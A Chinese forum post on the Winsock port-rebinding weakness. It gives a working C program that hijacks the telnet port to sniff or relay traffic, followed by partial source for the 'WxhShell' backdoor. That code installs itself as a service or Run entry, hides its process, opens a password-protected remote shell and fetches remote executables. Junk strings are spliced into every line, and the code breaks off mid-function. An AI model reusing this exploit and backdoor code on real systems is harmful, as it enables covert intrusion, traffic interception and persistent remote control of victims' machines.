社区应用 最新帖子 精华区 社区服务 会员列表 统计排行 社区论坛任务 迷你宠物
  • 13800阅读
  • 1回复

[讨论]用端口截听实现隐藏嗅探与攻击

级别: 终身会员
发帖
3743
铜板
8
人品值
493
贡献值
9
交易币
0
好评度
3746
信誉值
0
金币
0
所在楼道
在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是: 82Z[eo  
  s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); Mo/2,DiI5  
 "df13U"  
  saddr.sin_family = AF_INET; (> +k3  
5tgILxSK  
  saddr.sin_addr.s_addr = htonl(INADDR_ANY); Hb@G*L$  
4$q )e<-  
  bind(s,(SOCKADDR *)&saddr,sizeof(saddr)); e GqvnNv  
' 5OVs:)"^  
  其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。 }LHT#{+ x  
\Z6gXO_  
  这意味着什么?意味着可以进行如下的攻击: !S > |Qh  
ziB]S@U  
  1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。 xsY>{/C  
dEAAm=K,<  
  2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到) E{+c*sz  
<g/(wSl  
  3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。 H8o%H=I%  
8 /RfNGY  
  4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。  E |GK3/  
#<WyId(  
  其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。 5u u2 _B_L  
cciAMQhA  
  解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。 @3expC  
!mErt2UJl  
  下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。 YjIED,eRv  
:y O,  
  #include `1[Sv"  
  #include sJHy=z0m  
  #include p.TiTFu/  
  #include    yTq(x4]  
  DWORD WINAPI ClientThread(LPVOID lpParam);   ;+TF3av0zq  
  int main() g.`t!6Hc  
  { [-:<z?(n4  
  WORD wVersionRequested; &\6`[# bT  
  DWORD ret; } {gWTp  
  WSADATA wsaData; n|4D#Bd1w  
  BOOL val; 3<UDVt@0  
  SOCKADDR_IN saddr; \$~oH3m&  
  SOCKADDR_IN scaddr; D?*sdm9r`  
  int err; wTMHoU*>  
  SOCKET s; b0z{"  
  SOCKET sc; eB/hyC1  
  int caddsize; u{{xnyl?  
  HANDLE mt; #iqhm,u7D  
  DWORD tid;   $E9daUt8"J  
  wVersionRequested = MAKEWORD( 2, 2 ); ad3z]dUZ9  
  err = WSAStartup( wVersionRequested, &wsaData ); }JpslY*aS  
  if ( err != 0 ) { Edn$0D68u_  
  printf("error!WSAStartup failed!\n"); hOrk^iYN=  
  return -1; 9^ *ZH1  
  } ~a8G 5M  
  saddr.sin_family = AF_INET; 5S-o 2a  
   YL&b9e4  
  //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了 1UA~J|&gi^  
+v[$lh+  
  saddr.sin_addr.s_addr = inet_addr("192.168.0.60"); Oz9Mqcx  
  saddr.sin_port = htons(23); Y4 ~wNs6  
  if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) 7L~ zI>2  
  { FOUs= E[  
  printf("error!socket failed!\n"); Y5A~iGp8E  
  return -1; VqO<+~M,E  
  } GZhfA ;O,  
  val = TRUE; d;jJe0pH  
  //SO_REUSEADDR选项就是可以实现端口重绑定的 zhvk%Y:  
  if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0) TLL[F;uZ  
  { L ugk`NUvF  
  printf("error!setsockopt failed!\n"); Eztz ~oFo  
  return -1; v YmtpKNj%  
  } a a Y Q<  
  //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码; 8yo6v3JqC  
  //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽 +q_lYGTiO  
  //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击 .jGsO0  
|<Dx  
  if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR) 3NxaOO`  
  { !wR{Y[Yu  
  ret=GetLastError(); U37?P7i's  
  printf("error!bind failed!\n"); hC 4X Y  
  return -1; }$k`[ivBx(  
  } eze(>0\f  
  listen(s,2); ]R0A{+]n  
  while(1) 2}#wd J`  
  { feq6!k7  
  caddsize = sizeof(scaddr); vhquHy.qi#  
  //接受连接请求 Q"K>ML>0  
  sc = accept(s,(struct sockaddr *)&scaddr,&caddsize); A7,$y!D  
  if(sc!=INVALID_SOCKET) /HJ(Wt q  
  { RnBmy^l"  
  mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid); I#hg(7|",  
  if(mt==NULL) C=_-p"O#  
  { Nj@?}`C 4  
  printf("Thread Creat Failed!\n"); $8T|r+<  
  break; r dG2| Tp  
  } <iprPk  
  } =&*QT&e  
  CloseHandle(mt); qL;T&h  
  } `=l{kBZT|  
  closesocket(s); .lF\bA|  
  WSACleanup(); =wR]X*Pan  
  return 0; 46?F+,Rzl  
  }   U#]eN[  
  DWORD WINAPI ClientThread(LPVOID lpParam) r5qx! >  
  { c'Tu,-  
  SOCKET ss = (SOCKET)lpParam; 7D~O/#dcc  
  SOCKET sc; =5=Vm[  
  unsigned char buf[4096]; _Il9s#NA%  
  SOCKADDR_IN saddr; *I1W+W`G  
  long num; 3w:Z4]J  
  DWORD val; jUR #  
  DWORD ret; Z2j*%/  
  //如果是隐藏端口应用的话,可以在此处加一些判断 xjbyI_D  
  //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发   llG#nDe  
  saddr.sin_family = AF_INET; _} 9R}  
  saddr.sin_addr.s_addr = inet_addr("127.0.0.1"); >=W#z  
  saddr.sin_port = htons(23); *=If1qZs  
  if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) s riq(A  
  { ^FMa8;'o  
  printf("error!socket failed!\n"); .rB;zA;4S)  
  return -1; n ua8y(W  
  } &MQt2aL  
  val = 100; *u4X<oBS*  
  if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) &eS70hq  
  { 6'*Uo:]  
  ret = GetLastError(); |>}0? '/]  
  return -1; ?N?pe}  
  } pr,1Wp0l  
  if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) %iS]+Sa.K  
  { (*WZsfk>/<  
  ret = GetLastError(); @[kM1:G-F{  
  return -1; NlEWm8u   
  } pD6g+Taj  
  if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0) m^x\@!N:(  
  { a<"& RnG(  
  printf("error!socket connect failed!\n"); v*fc5"3eO  
  closesocket(sc); ~_j%nJ &2  
  closesocket(ss); c%Cae3;  
  return -1; zUtf&Ih  
  } o3=S<|V  
  while(1) t\bxd`,  
  { m;+1;B  
  //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。 9}0Jc(B/x  
  //如果是嗅探内容的话,可以再此处进行内容分析和记录 "/Q(UV<d  
  //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。 z==}~|5  
  num = recv(ss,buf,4096,0); !=:MG#p  
  if(num>0) k8wi-z[dV  
  send(sc,buf,num,0); |{IU<o x  
  else if(num==0) 14YV#o:  
  break; `b`52b\6S  
  num = recv(sc,buf,4096,0); c%/&@vs7  
  if(num>0) UVmyOC[Y{  
  send(ss,buf,num,0); & O\!!1%  
  else if(num==0) 0@x$Cp  
  break; B:#0B[  
  } ~)IJE+e>}  
  closesocket(ss); WJ4UJdf'  
  closesocket(sc); "v(]"L  
  return 0 ; `/ReJj&~  
  } uWtS83i  
)[X!/KR90  
)bU")  
========================================================== )0d".Q|v4  
bK;a V&  
下边附上一个代码,,WXhSHELL (ai-n,y  
|A/_Qe|s2  
========================================================== |Pl{Oo+  
J*&=J6  
#include "stdafx.h" /~huTKA}  
WM )g(i~(  
#include <stdio.h> Q R$sIu@%  
#include <string.h> Or) c*.|\  
#include <windows.h> n]c,0N  
#include <winsock2.h> *xTquV$  
#include <winsvc.h> JU1; /3(  
#include <urlmon.h> :BxYaAVt^  
ZLX`[   
#pragma comment (lib, "Ws2_32.lib") ^K8a#-  
#pragma comment (lib, "urlmon.lib") |8{iIvi/  
w/W?/1P>q  
#define MAX_USER   100 // 最大客户端连接数 ~EkGG .  
#define BUF_SOCK   200 // sock buffer Q09~vFBg  
#define KEY_BUFF   255 // 输入 buffer 58'y~Ou  
H>X1(sh#}  
#define REBOOT     0   // 重启 }gRLW2&mR>  
#define SHUTDOWN   1   // 关机 f8jz49C  
n(O p<  
#define DEF_PORT   5000 // 监听端口 g@f/OsR76  
N%E2BJ?  
#define REG_LEN     16   // 注册表键长度 G*p.JsZP  
#define SVC_LEN     80   // NT服务名长度 }(}vlL  
s\FNKWQ  
// 从dll定义API A?KKZ{Pl  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); ,k' 6<Hw  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); i1@gHk  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); ibUPd."W  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); v$/i5kcWx  
U zHhU*nW  
// wxhshell配置信息 Pm;*Jv%  
struct WSCFG { p:   
  int ws_port;         // 监听端口 F ) ~pw  
  char ws_passstr[REG_LEN]; // 口令 QnLg P7Ft  
  int ws_autoins;       // 安装标记, 1=yes 0=no Z*"t]L  
  char ws_regname[REG_LEN]; // 注册表键名 TiEJyd`P  
  char ws_svcname[REG_LEN]; // 服务名 T sW6w  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 _?LI0iIFx  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 yZaDNc9'  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 0%j; yzQ<  
int ws_downexe;       // 下载执行标记, 1=yes 0=no } U1shG[  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" Qh%vh ;|^  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 jN>UW}?  
Y,}43a0A  
}; e ;r-}U  
D|3QLG  
// default Wxhshell configuration CGl+!t{  
struct WSCFG wscfg={DEF_PORT, irj}:f;!eF  
    "xuhuanlingzhe", |ema-pRC  
    1, Vzm7xl [  
    "Wxhshell", ZaindX{.1  
    "Wxhshell", G)|HFcE  
            "WxhShell Service", jF85bb$  
    "Wrsky Windows CmdShell Service", 5z]KkPQ  
    "Please Input Your Password: ", |noTIAI  
  1, oD1=}  
  "http://www.wrsky.com/wxhshell.exe", HOb\Hn|6jq  
  "Wxhshell.exe" Z i&X ,K~  
    }; 3PeJPw  
|]b/5s;>  
// 消息定义模块 8so}^2hTlT  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; _Fy:3,(  
char *msg_ws_prompt="\n\r? for help\n\r#>"; PP|xIAc  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; $& gidz/w  
char *msg_ws_ext="\n\rExit."; w`f~Ht{wYR  
char *msg_ws_end="\n\rQuit."; !&%bl  
char *msg_ws_boot="\n\rReboot..."; o!0a8i  
char *msg_ws_poff="\n\rShutdown..."; o|E(_ Y4d  
char *msg_ws_down="\n\rSave to "; me\)JCZpb{  
c{ (%+  
char *msg_ws_err="\n\rErr!"; rn*VL(Yd(  
char *msg_ws_ok="\n\rOK!"; <WkLwP3^  
4yy yXj  
char ExeFile[MAX_PATH]; MRu+:Y=K  
int nUser = 0; S@-X?Lu  
HANDLE handles[MAX_USER]; YP97D n  
int OsIsNt; ]HT>-Ba;{h  
.gg0:  
SERVICE_STATUS       serviceStatus; KO$8lMm$  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; @cNI|T  
#]^`BQ>  
// 函数声明 L6qA=b~iz  
int Install(void); T8 /'`s  
int Uninstall(void); WG4|Jf Y  
int DownloadFile(char *sURL, SOCKET wsh); &_gmQ;%t:  
int Boot(int flag); l%/,Ef*3  
void HideProc(void); $"1&!  
int GetOsVer(void); U?yXTMD  
int Wxhshell(SOCKET wsl); `?m(Z6'  
void TalkWithClient(void *cs); ` XY[ HK  
int CmdShell(SOCKET sock); THZ3%o=X  
int StartFromService(void); +O6@)?pI  
int StartWxhshell(LPSTR lpCmdLine); BtZm_SeA  
"<b84?V5  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); Vdyx74xX  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); H-lRgJdc  
\/zS@fz  
// 数据结构和表定义 yY|U}]u!V  
SERVICE_TABLE_ENTRY DispatchTable[] = LnIJ wD  
{ UkQocZdZ  
{wscfg.ws_svcname, NTServiceMain}, FiL JF!  
{NULL, NULL} 1N*~\rV*?  
}; 5J3kQ;5Q?  
'-{jn+,  
// 自我安装 2V 'Tt3  
int Install(void) =z.AQe+   
{ 6Wp:W1E{`  
  char svExeFile[MAX_PATH]; =wc[ r?7  
  HKEY key; Hq8.O/Y"=  
  strcpy(svExeFile,ExeFile); G9Ezm*I;:  
ST.W{:X   
// 如果是win9x系统,修改注册表设为自启动 qxh\umm+2  
if(!OsIsNt) { RzRLrfV  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { ' 'N@ <|  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); j+seJg<_  
  RegCloseKey(key); K*[wr@)u  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { ;rbn/6  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); @,.H)\a4  
  RegCloseKey(key); dno*Usx5d0  
  return 0; ,B><la87  
    } Ho|n\7$  
  } Dr609(zg^  
} f}4h}Cq  
else { hG]20n2  
E}+A)7mA  
// 如果是NT以上系统,安装为系统服务 /@e\I0P^  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); I&0yUhn  
if (schSCManager!=0) |n/id(R+  
{ 1??RX}8[L+  
  SC_HANDLE schService = CreateService hBw~l?G  
  ( ( d.i np(  
  schSCManager, >6j`ZWab>  
  wscfg.ws_svcname, zQJbZ=5Bu"  
  wscfg.ws_svcdisp, b%F*Nr  
  SERVICE_ALL_ACCESS, x&wUPo{  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , d=XhOC$  
  SERVICE_AUTO_START, |@nXlZE  
  SERVICE_ERROR_NORMAL, z=sqO'~  
  svExeFile, AF}HS8eYy  
  NULL, ^C{a'  
  NULL, A{vG@Pwc:  
  NULL, E}u\{uY  
  NULL, xM,3F jF  
  NULL s zg1.&  
  ); rO~D{)Nu  
  if (schService!=0) t30V_`eQ  
  { A(B2XBS!?  
  CloseServiceHandle(schService); as8<c4:v  
  CloseServiceHandle(schSCManager); 2},}R'aR  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); s_N!6$tS   
  strcat(svExeFile,wscfg.ws_svcname); 0=iJT4IEJ  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) {  W~4|Z=f  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); Rzk JS9)m  
  RegCloseKey(key); V SxLBwXf  
  return 0; )yk LUse+  
    } Sn]A0J_  
  } W0|?R6|  
  CloseServiceHandle(schSCManager); T+fU +GLD  
} ~zx-'sc?  
} d?>sy\{2  
4ET P  
return 1; lF<(yF5  
} i || /=ai  
&uM?DQ`o8  
// 自我卸载 dxA=gL2  
int Uninstall(void) k&2I(2S  
{ 03xQ%"TU<  
  HKEY key; x]:mc%4-Z  
dNR4h  
if(!OsIsNt) { G2rvi=8=  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { <8Ad\MU  
  RegDeleteValue(key,wscfg.ws_regname); Nuj%8om6  
  RegCloseKey(key); J_,y?}.e3  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { cX2b:  
  RegDeleteValue(key,wscfg.ws_regname); g8C+j6uR0  
  RegCloseKey(key); 0|cQx VJb  
  return 0; vgV0a{u"  
  } 3yQ(,k#  
} t|/ /oEY  
} I'!KWpYJT  
else { C5m*pGImG  
G100L}d"N  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); h*Ej}_  
if (schSCManager!=0) SWu=n1J.?H  
{ @"6BvGU2s  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); z')'8155  
  if (schService!=0) pq@ad\8  
  { opBv x>S  
  if(DeleteService(schService)!=0) { +VJl#sc/;  
  CloseServiceHandle(schService); qdOS=7]W  
  CloseServiceHandle(schSCManager); -Fb/GZt|  
  return 0; y ^YrGz.  
  } hZy"@y3Yq  
  CloseServiceHandle(schService); l4; LV7Ji  
  } %n( s;/_  
  CloseServiceHandle(schSCManager); jE{z4en  
} _L"rygit  
} ve$P=ZuM  
OS3J,f}<=  
return 1; OIN]u{S  
} (GZm+?  
g\ke,r6  
// 从指定url下载文件 7 >.^GD  
int DownloadFile(char *sURL, SOCKET wsh) + }^  
{ ' =oV  
  HRESULT hr; QF>H>=Za=  
char seps[]= "/"; P<bA~%<7"[  
char *token; l|DOsI'r  
char *file; cu Nwv(P  
char myURL[MAX_PATH]; "k+QDQ3=  
char myFILE[MAX_PATH]; *e^ ZH  
L Nj|t)Ov  
strcpy(myURL,sURL); bBZvL  
  token=strtok(myURL,seps); JL <}9K  
  while(token!=NULL) CxO) d7c  
  { h7g9:10  
    file=token; .AKx8=f  
  token=strtok(NULL,seps); 3M^ /   
  } <4Ak$ E %"  
!a0HF p$9  
GetCurrentDirectory(MAX_PATH,myFILE); Dj[D|%9a  
strcat(myFILE, "\\"); M+Dkn3bx  
strcat(myFILE, file); nkpQM$FW  
  send(wsh,myFILE,strlen(myFILE),0); fd(>[RP?  
send(wsh,"...",3,0); }ts?ZR^V,  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); 7UMsKE-  
  if(hr==S_OK) oI^iL\\2h  
return 0; R(csJ4F  
else B-o"Y'iXs  
return 1; wTOB'  
\"n&|_SZ\  
} ^E5Xpza  
k%hif8y  
// 系统电源模块 /H\ZCIu/7  
int Boot(int flag) m(9E{;   
{ 0^hz1\g  
  HANDLE hToken; ?L|@{RS{|  
  TOKEN_PRIVILEGES tkp; 7^S&g.A  
H>M0G L  
  if(OsIsNt) { y1P?A]v  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); ~jJu*s$?  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); gp;(M~we  
    tkp.PrivilegeCount = 1; nPKf~|\1{  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; <;= X7l+  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); X\M0Q%8  
if(flag==REBOOT) { J`\%'pEn  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) B~z& "`  
  return 0; eE1w<] Eg  
} *#~3\{  
else { BHa!jw_~o  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) #U'n=@U@(  
  return 0; lQoa[#q  
} No j6Ina  
  } bw+~5pqM  
  else { >/Slk {  
if(flag==REBOOT) { 7qu hp\  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) wN;o++6V  
  return 0; ?"J5~_U.  
} ^m?h .  
else { -Ndd6O[ a5  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) 6=FF*"-6E  
  return 0; aY6]NpT  
} V[CS{Hy'  
} he 9qWL&^G  
k4eV*e8  
return 1; Z#d_<e?  
} xqLLoSte  
GQT|T0>Ro  
// win9x进程隐藏模块 ,>e)8  
void HideProc(void) i_I`Y  
{  _8t{4C  
z;1yZ4[G  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); =U2`]50  
  if ( hKernel != NULL ) RKRk,jRL  
  { }[? X%=  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess");  gryC#  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); mR?OSeeB  
    FreeLibrary(hKernel); R$wo{{KX  
  } 3]/w3|y  
izOtt^#DZt  
return; t4 $cMf  
} 4WU 6CN  
lfb]xu]O  
// 获取操作系统版本 eCdMDSFO3  
int GetOsVer(void) q=Q5s?sQc  
{ "m(HQ5e)*  
  OSVERSIONINFO winfo; =[3I#s?V  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); Lw1~$rZg  
  GetVersionEx(&winfo); 3/P2&m  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) 0vf2wBK'T  
  return 1; pv;}Sv$ ]-  
  else l. !5/\  
  return 0; }D{y u+)  
} |-=^5q5  
dKi+~m'w  
// 客户端句柄模块 HS>Z6|uLY  
int Wxhshell(SOCKET wsl) px" .pYr0  
{ S"V|BU  
  SOCKET wsh; JM@MNS_||(  
  struct sockaddr_in client; mQ:lj$Gf  
  DWORD myID; j8_WEjG  
U2\zl  
  while(nUser<MAX_USER) ['e8Xz0  
{ e%u1O -*  
  int nSize=sizeof(client); WR%x4\,d#  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); 0Evq</  
  if(wsh==INVALID_SOCKET) return 1; I~gU3(  
7J.alV4`/  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); vSX71  
if(handles[nUser]==0) TlQu+w|  
  closesocket(wsh); s^)wh v`C  
else 5$`ihO?  
  nUser++; 5W(G~m?jC6  
  } d*4fl.  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); T\NvN&h-  
h,LwC9  
  return 0; ix [aS  
} %\Z{~(&-v  
IhhB^E|  
// 关闭 socket /:~mRf^  
void CloseIt(SOCKET wsh) ag+$qU  
{ :?O+EE  
closesocket(wsh); 2aNCcZw0  
nUser--; 37Q9goMov  
ExitThread(0); Z4b<$t[u  
} ^`!5!|  
^/h,C^/;  
// 客户端请求句柄 2zZ" }Zr#  
void TalkWithClient(void *cs) :U$<h  
{ )`, Bt  
/\q1,}M  
  SOCKET wsh=(SOCKET)cs; 82O#Fe q  
  char pwd[SVC_LEN]; TO ^}z  
  char cmd[KEY_BUFF]; A (S=  
char chr[1]; 0O5(\8jM  
int i,j; &!x!j ,nT  
vc0'x4  
  while (nUser < MAX_USER) { ?ey!wcv~  
X~(%Y#6  
if(wscfg.ws_passstr) { +l+8Z:i<  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); n}Pz:  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); Yw&{.<sL  
  //ZeroMemory(pwd,KEY_BUFF); 2y s'q !  
      i=0; t2Q40' `  
  while(i<SVC_LEN) { EZlcpCS  
$k5mI1~  
  // 设置超时 V<A_c^unO  
  fd_set FdRead; + KGZk?%  
  struct timeval TimeOut; B U |]4  
  FD_ZERO(&FdRead); 8FYcUvxfT  
  FD_SET(wsh,&FdRead); +n_`*@SE  
  TimeOut.tv_sec=8; Z#0hh%E"|y  
  TimeOut.tv_usec=0; nG hFYQl  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); ~?T*D*  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); A2.[P==  
Q}.zE+  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); g b:)t }|  
  pwd=chr[0]; cK6M8:KW  
  if(chr[0]==0xd || chr[0]==0xa) { YaI8hj@}  
  pwd=0; 5:ca6 H  
  break; QbA+\  
  } $n>|9(K8  
  i++; I[E/)R{\  
    } IWbW=0IsS  
|a/1mUxQ&  
  // 如果是非法用户,关闭 socket ug47JW  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); "9mJ$us  
} I`"B<=zi  
ANgfG8>  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0);  (o`"s~)  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); ,-,BtfE3  
:wtr{,9rZ  
while(1) { N&ZIsaK,j  
iF:`rIC  
  ZeroMemory(cmd,KEY_BUFF); BCN<l +u  
29#&q`J  
      // 自动支持客户端 telnet标准   PgZeDUPP  
  j=0; wa/ :JE  
  while(j<KEY_BUFF) { 3%c{eZxG=  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); 9nIBs{`/Ac  
  cmd[j]=chr[0]; 3N%%69JN)  
  if(chr[0]==0xa || chr[0]==0xd) { ~&)  
  cmd[j]=0; eF)vx{s  
  break; =<~/U?  
  } `}uOl C]I  
  j++; 3e~X`K1Q<  
    } 96M?tTa  
%heX06  
  // 下载文件 G;r-f63N  
  if(strstr(cmd,"http://")) { 'Y`.0T[&  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); QI\&D)  
  if(DownloadFile(cmd,wsh)) @k.j6LKbc  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); GMD>Ih.k:9  
  else NKae~ 1b  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); dfkmIO%9X  
  } &}sC8,Sr  
  else { r2,AZ+4FP  
@mM])V  
    switch(cmd[0]) { OFS` ?>  
  |%6zhkoufM  
  // 帮助 h ]'VAt  
  case '?': { mMLxT3Ci8  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); )./pS~  
    break; &Uqm3z?v  
  } P\#z[TuHKC  
  // 安装 ){=2td$=$  
  case 'i': { Q)pm3Wi  
    if(Install()) K.CwtUt`54  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); #)im9LLC#  
    else 6OeRBD&  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); 6@ `'}  
    break; M+Rxt.~6  
    } WHh=ht s\  
  // 卸载 +;nADl+Q  
  case 'r': { n|,kL!++.  
    if(Uninstall()) cZn B 2T?  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); =l&A9 >\  
    else tF> ?]  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); W/Rb7q4v  
    break; 0:<dj:%M  
    } B5%N@g$`j  
  // 显示 wxhshell 所在路径 Q=hf,/N  
  case 'p': { xv! QO  
    char svExeFile[MAX_PATH]; 3W*O%9t7  
    strcpy(svExeFile,"\n\r"); e [D'0L  
      strcat(svExeFile,ExeFile); adEcIvN$  
        send(wsh,svExeFile,strlen(svExeFile),0); 0Me *X  
    break; 3\Y}{(O |  
    } T?=[6  
  // 重启 q#W7.8 Z@  
  case 'b': { cB5|% @$I  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); i Rwqt-WZ  
    if(Boot(REBOOT)) g2 dvs  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); U4hsbraz  
    else {  imE5 $;  
